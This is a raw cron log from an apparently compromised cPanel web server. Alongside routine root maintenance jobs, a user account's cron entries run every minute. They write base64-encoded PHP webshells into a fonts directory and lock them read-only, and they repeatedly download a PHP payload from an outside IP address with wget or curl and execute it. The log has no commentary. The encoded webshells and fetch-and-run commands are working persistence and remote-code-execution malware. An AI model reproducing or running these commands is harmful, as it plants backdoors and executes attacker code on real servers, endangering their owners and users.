Sep 12 01:17:01 ip-184-168-122-23 CROND[1363]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 01:17:01 ip-184-168-122-23 CROND[1362]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 01:18:01 ip-184-168-122-23 CROND[1487]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 01:18:01 ip-184-168-122-23 CROND[1489]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 01:18:01 ip-184-168-122-23 CROND[1490]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 01:18:01 ip-184-168-122-23 CROND[1492]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 01:18:01 ip-184-168-122-23 CROND[1491]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 01:19:01 ip-184-168-122-23 CROND[1577]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 01:19:01 ip-184-168-122-23 CROND[1579]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 01:19:01 ip-184-168-122-23 CROND[1582]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 01:19:01 ip-184-168-122-23 CROND[1580]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 01:20:01 ip-184-168-122-23 CROND[1676]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 01:20:01 ip-184-168-122-23 CROND[1678]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 01:20:01 ip-184-168-122-23 CROND[1680]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 01:20:01 ip-184-168-122-23 CROND[1681]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 01:20:01 ip-184-168-122-23 CROND[1682]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 01:20:01 ip-184-168-122-23 CROND[1683]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 01:20:01 ip-184-168-122-23 CROND[1687]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 01:20:01 ip-184-168-122-23 CROND[1688]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 01:20:01 ip-184-168-122-23 CROND[1691]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 01:21:01 ip-184-168-122-23 CROND[1866]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 01:21:01 ip-184-168-122-23 CROND[1865]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 01:21:01 ip-184-168-122-23 CROND[1868]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 01:21:01 ip-184-168-122-23 CROND[1867]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 01:22:01 ip-184-168-122-23 CROND[1964]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 01:22:01 ip-184-168-122-23 CROND[1967]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 01:22:01 ip-184-168-122-23 CROND[1968]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 01:22:01 ip-184-168-122-23 CROND[1966]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 01:22:01 ip-184-168-122-23 CROND[1969]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 01:23:01 ip-184-168-122-23 CROND[2070]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 01:23:01 ip-184-168-122-23 CROND[2071]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 01:23:01 ip-184-168-122-23 CROND[2072]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 01:23:01 ip-184-168-122-23 CROND[2073]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 01:24:01 ip-184-168-122-23 CROND[2163]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 01:24:01 ip-184-168-122-23 CROND[2167]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 01:24:01 ip-184-168-122-23 CROND[2165]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 01:24:01 ip-184-168-122-23 CROND[2166]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 01:24:01 ip-184-168-122-23 CROND[2168]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 01:25:01 ip-184-168-122-23 CROND[2263]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 01:25:01 ip-184-168-122-23 CROND[2268]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 01:25:01 ip-184-168-122-23 CROND[2267]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 01:25:01 ip-184-168-122-23 CROND[2265]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 01:25:01 ip-184-168-122-23 CROND[2266]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 01:25:01 ip-184-168-122-23 CROND[2269]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 01:26:01 ip-184-168-122-23 CROND[2364]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 01:26:01 ip-184-168-122-23 CROND[2369]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 01:26:01 ip-184-168-122-23 CROND[2370]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 01:26:01 ip-184-168-122-23 CROND[2367]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 01:26:01 ip-184-168-122-23 CROND[2368]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 01:27:01 ip-184-168-122-23 CROND[2535]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 01:27:01 ip-184-168-122-23 CROND[2537]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 01:27:01 ip-184-168-122-23 CROND[2538]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 01:27:01 ip-184-168-122-23 CROND[2539]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 01:28:01 ip-184-168-122-23 CROND[2616]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 01:28:01 ip-184-168-122-23 CROND[2620]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 01:28:01 ip-184-168-122-23 CROND[2619]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 01:28:01 ip-184-168-122-23 CROND[2618]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 01:28:01 ip-184-168-122-23 CROND[2621]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 01:29:01 ip-184-168-122-23 CROND[2704]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 01:29:01 ip-184-168-122-23 CROND[2703]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
